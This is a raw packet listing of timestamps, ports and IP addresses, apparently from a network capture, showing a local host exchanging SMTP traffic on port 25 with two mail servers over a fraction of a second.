Jan 7, 2022 15:43:00.059073925 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.059103966 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059117079 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059132099 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059160948 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.059186935 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.059191942 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059240103 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.059314966 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059386969 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.063455105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.063478947 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.063555956 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.081804037 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.081921101 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.085330963 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085355043 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085371017 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085402966 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085434914 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085474014 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085474014 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085489988 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085517883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085521936 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085540056 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085553885 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085565090 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085580111 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085596085 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085611105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085625887 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085640907 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085655928 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085656881 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085685015 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085695982 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085706949 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085755110 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085772991 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085788012 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085803032 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085832119 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085846901 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085859060 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085864067 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085879087 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085895061 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085910082 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085916996 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085958004 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.085969925 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.085974932 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086009026 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086025000 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086040020 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086056948 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086062908 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086071968 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086087942 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086088896 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086112022 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086127996 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086143970 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086146116 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086158991 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086175919 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.086175919 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086199999 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.086241007 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.089979887 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.090001106 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.090012074 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.090048075 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.090082884 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.090156078 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.111924887 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112020969 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112023115 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112051010 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112076998 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112088919 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112106085 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112108946 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112132072 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112138033 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112155914 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112176895 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112266064 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112292051 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112315893 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112411976 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112412930 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112441063 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112467051 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112492085 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112502098 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112525940 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112540960 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112584114 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112610102 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112631083 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112633944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112652063 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112662077 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112690926 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112705946 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112725019 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112731934 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112751961 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112759113 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112777948 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112783909 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112802982 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112812042 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112828016 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112838984 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112869024 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112884998 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112890959 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112917900 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112941027 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112943888 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112962961 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112970114 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.112988949 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.112998009 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113018990 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113023996 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113039017 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113050938 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113066912 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113078117 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113096952 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113105059 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113118887 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113131046 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113149881 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113157034 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113183022 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113192081 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113208055 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113208055 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113224983 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113233089 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113250017 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113259077 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113280058 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113290071 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113301992 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113317013 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113332987 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113342047 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113358021 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113368034 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113394976 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113394976 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113410950 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113419056 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113440037 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113445044 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113466024 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113471985 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113491058 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113500118 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113517046 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113526106 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113549948 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113557100 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113573074 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113576889 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113594055 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113604069 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113621950 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113629103 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113651037 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113653898 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113668919 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113678932 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113698959 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113704920 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113719940 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113733053 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113759995 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113760948 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113780022 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113801956 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113821030 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113838911 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113858938 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113886118 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113912106 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113925934 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113936901 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113957882 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113961935 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113982916 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.113987923 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.113995075 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114002943 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114013910 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.114021063 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114037037 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114038944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.114064932 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.114070892 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114089012 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.114099979 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114120007 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.114135981 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116511106 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116539955 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116564989 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116586924 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116590977 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116619110 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116621971 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116638899 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116647959 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116656065 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116674900 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116678953 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116695881 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116700888 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.116718054 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.116745949 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.123724937 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.123867035 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.123985052 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.138504028 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.138531923 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.138612986 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.138627052 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.138652086 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.138658047 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.138693094 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.138711929 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.138777971 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.138837099 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.138880968 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.138902903 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140517950 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140548944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140573978 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140588999 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140597105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140624046 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140625954 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140649080 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140652895 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140662909 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140675068 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140677929 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140701056 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140708923 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140723944 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140723944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140748978 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140748978 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140773058 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140779018 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140794992 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140799046 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140822887 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140865088 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140881062 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140906096 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140929937 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.140961885 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140985966 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.140990973 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141019106 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141051054 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141079903 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141094923 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141130924 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141155005 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141163111 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141184092 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141196012 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141232014 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141244888 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141275883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141323090 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141325951 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141345024 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141361952 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141388893 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141395092 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141419888 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141447067 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141473055 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141505003 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141529083 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141536951 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141557932 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141567945 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141591072 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141601086 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141624928 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141633987 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141654968 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141666889 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141697884 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141729116 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141738892 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141767025 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141793966 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141845942 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141876936 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141904116 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141908884 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141933918 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141942978 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141963005 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.141977072 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.141995907 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142008066 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142029047 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142040014 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142071962 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142071962 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142105103 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142112017 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142127037 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142137051 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142158031 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142168999 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142189980 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142200947 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142224073 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142234087 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142252922 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142266989 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142288923 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142299891 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142321110 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142329931 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142360926 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142391920 CET	25	49767	108.177.119.26	192.168.2.6
